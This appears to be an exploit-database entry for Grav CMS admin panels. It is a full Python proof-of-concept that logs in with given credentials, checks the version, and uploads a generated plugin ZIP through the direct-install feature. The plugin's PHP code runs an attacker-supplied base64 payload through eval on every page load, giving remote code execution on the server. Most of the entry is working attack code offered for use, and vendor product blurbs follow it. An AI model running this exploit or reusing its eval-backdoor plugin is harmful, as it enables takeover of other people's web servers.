Lucene search
K

📄 Grav CMS 1.7.49.5 Shell Upload

🗓️ 23 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 45 Views

Grav CMS admin panel authenticates and uploads a malicious plugin for remote code execution.

Code
==================================================================================================================================
    | # Title     : Grav CMS 1.7.49.5 Admin Plugin Upload Exploit RCE via Malicious PHP Plugin Injection                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/getgrav/grav                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    : This script targets a Grav CMS admin panel by first authenticating, then checking version information to estimate vulnerability exposure. 
                     If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and uploads it as a ZIP package through the “direct install” feature. 
                     Once installed, the plugin executes the payload via eval(), leading to remote code execution (RCE) on the server.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import re
    import zipfile
    import io
    import os
    import sys
    import time
    from urllib.parse import urljoin
    from html.parser import HTMLParser
    import random
    import string
    import base64
    
    class GravExploit:
        def __init__(self, target_url, username, password, payload):
            self.target_url = target_url.rstrip('/')
            self.username = username
            self.password = password
            self.payload = payload
            self.session = requests.Session()
            self.plugin_name = None
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0'
            })
            
        def check_grav_installation(self, html_content):
            grav_checks = [
                'data-gpm-grav' in html_content,
                'data-grav-field' in html_content,
                'data-grav-disabled' in html_content,
                'data-grav-default' in html_content
            ]
            return sum(grav_checks) >= 2
        
        def login_form_present(self, html_content):
            return 'name="data[username]"' in html_content and 'name="data[password]"' in html_content
        
        def extract_nonce(self, html_content):
            nonce_match = re.search(r'name="login-nonce"\s+value="([^"]+)"', html_content)
            return nonce_match.group(1) if nonce_match else None
        
        def extract_admin_nonce(self, html_content):
            nonce_match = re.search(r'name="admin-nonce"\s+value="([^"]+)"', html_content)
            return nonce_match.group(1) if nonce_match else None
        
        def extract_versions(self, html_content):
            cms_version = None
            admin_version = None
            
            cms_match = re.search(r'<span[^>]*class="grav-version"[^>]*>([^<]+)</span>', html_content)
            if cms_match:
                cms_version = cms_match.group(1).strip().replace('v', '')
            
            admin_match = re.search(r'Admin v([\d.]+)', html_content)
            if admin_match:
                admin_version = admin_match.group(1)
            
            return cms_version, admin_version
        
        def version_compare(self, version, target_version):
            if not version:
                return False
            
            def normalize(v):
                return [int(x) for x in v.split('.')]
            
            try:
                return normalize(version) <= normalize(target_version)
            except:
                return False
        
        def check(self):
            try:
                res = self.session.get(urljoin(self.target_url, '/admin'))
                if not res:
                    return "Unknown", "Connection failed"
                if res.status_code != 200:
                    return "Unknown", f"Unexpected response code: {res.status_code}"
                
                if not self.check_grav_installation(res.text):
                    return "Safe", "Target does not appear to be a Grav installation"
                
                if not self.login_form_present(res.text):
                    return "Detected", "Grav detected but login form not accessible"
                
                cms_version, admin_version = self.get_versions_after_login()
                
                if not cms_version:
                    return "Detected", "Grav CMS detected but version could not be determined"
                
                vuln = False
                if self.version_compare(cms_version, "1.7.49.5") and not self.version_compare(cms_version, "1.0.9"):
                    vuln = True
                
                if admin_version and vuln:
                    if self.version_compare(admin_version, "1.10.49.3") and not self.version_compare(admin_version, "1.0.9"):
                        return "Appears", f"Grav CMS {cms_version} is vulnerable\nAdmin Plugin v{admin_version} is vulnerable"
                
                if not vuln:
                    return "Safe", f"Grav CMS {cms_version} is not vulnerable"
                
                return "Safe", f"Admin Plugin v{admin_version} is not vulnerable"
                
            except requests.RequestException as e:
                return "Unknown", f"Connection failed: {str(e)}"
        
        def get_versions_after_login(self):
            auth_result = self.authenticate()
            if auth_result not in ['success', 'already_authenticated']:
                return None, None
            
            res = self.session.get(urljoin(self.target_url, '/admin'))
            if not res or res.status_code != 200:
                return None, None
            
            return self.extract_versions(res.text)
        
        def authenticate(self):
            try:
                res = self.session.get(urljoin(self.target_url, '/admin'))
                if not res or res.status_code != 200:
                    return "connection_failed"
                
                if 'grav-version' in res.text and 'login-nonce' not in res.text:
                    return "already_authenticated"
                
                nonce = self.extract_nonce(res.text)
                if not nonce:
                    return "connection_failed"
                
                login_data = {
                    'data[username]': self.username,
                    'data[password]': self.password,
                    'task': 'login',
                    'login-nonce': nonce
                }
                
                res = self.session.post(urljoin(self.target_url, '/admin'), data=login_data)
                if not res:
                    return "connection_failed"
                
                if res.status_code in [301, 302, 303]:
                    res = self.session.get(urljoin(self.target_url, '/admin'))
                    if not res:
                        return "connection_failed"
                
                if 'name="login-nonce"' in res.text:
                    return "login_failed"
                
                return "success"
                
            except requests.RequestException:
                return "connection_failed"
        
        def login(self):
            print("[*] Authenticating...")
            result = self.authenticate()
            
            if result == "already_authenticated":
                print("[+] Already authenticated")
                return True
            elif result == "success":
                print("[+] Login successful")
                return True
            elif result == "connection_failed":
                print("[-] Connection failed")
                return False
            elif result == "login_failed":
                print("[-] Login failed")
                return False
            else:
                print("[-] Unexpected authentication error")
                return False
        
        def generate_php_plugin(self, plugin_name):
            b64_payload = base64.b64encode(self.payload.encode()).decode()
            class_name = f"{plugin_name.capitalize()}pluginPlugin"
            
            php_code = f'''<?php
    namespace Grav\\Plugin;
    use Grav\\Common\\Plugin;
    
    class {class_name} extends Plugin
    {{
        public static function getSubscribedEvents()
        {{
            return [
                'onPagesInitialized' => ['onPagesInitialized', 0]
            ];
        }}
    
        public function onPagesInitialized()
        {{
            @eval(base64_decode('{b64_payload}'));
        }}
    }}
    '''
            return php_code
        
        def build_plugin_zip(self, plugin_name):
            php_code = self.generate_php_plugin(plugin_name)
            
            zip_buffer = io.BytesIO()
            with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
                zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.php", php_code)
                zip_file.writestr(f"{plugin_name}plugin/blueprints.yaml", 
                                f"name: {plugin_name.capitalize()}\ntype: plugin\nversion: 1.0.0")
                zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.yaml",
                                f"enabled: true")
            
            return zip_buffer.getvalue()
        
        def upload_plugin(self, zip_data, plugin_name):
            install_uri = urljoin(self.target_url, '/admin/tools/direct-install')
            
            res = self.session.get(install_uri)
            if not res or res.status_code != 200:
                print("[-] Failed to fetch install page")
                return False
            
            nonce = self.extract_admin_nonce(res.text)
            if not nonce:
                print("[-] Could not extract admin nonce")
                return False
            
            files = {
                'uploaded_file': (f'{plugin_name}.zip', zip_data, 'application/zip')
            }
            data = {
                'task': 'directInstall',
                'admin-nonce': nonce
            }
            
            res = self.session.post(install_uri, data=data, files=files)
            
            if not res:
                print("[-] No response during plugin upload")
                return False
            
            if res.status_code in [301, 302, 303]:
                self.session.get(install_uri)
            
            return True
        
        def exploit(self):
            print("[*] Authenticating to Grav admin...")
            if not self.login():
                return False
            
            plugin_name = (random.choice(string.ascii_lowercase) + 
                          ''.join(random.choices(string.ascii_lowercase + string.digits, k=17))).lower()
            self.plugin_name = plugin_name
            
            zip_data = self.build_plugin_zip(plugin_name)
            
            if self.upload_plugin(zip_data, plugin_name):
                print("[+] Plugin uploaded successfully")
                return True
            else:
                print("[-] Plugin upload failed")
                return False
        
        def cleanup(self):
            if self.plugin_name:
                print("[!] Manual cleanup may be required")
                return True
            return False
    
    
    def main():
        if len(sys.argv) != 5:
            print("Usage: python3 grav_exploit.py <target_url> <username> <password> <payload>")
            sys.exit(1)
        
        target_url = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
        payload = sys.argv[4]
        
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        
        exploit = GravExploit(target_url, username, password, payload)
        
        print("[*] Checking if target is vulnerable...")
        status, message = exploit.check()
        
        if status == "Appears":
            print(f"[+] {message}")
            if exploit.exploit():
                print("[+] Exploitation completed")
                exploit.cleanup()
            else:
                print("[-] Exploitation failed")
        else:
            print(f"[-] Target not vulnerable: {message}")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation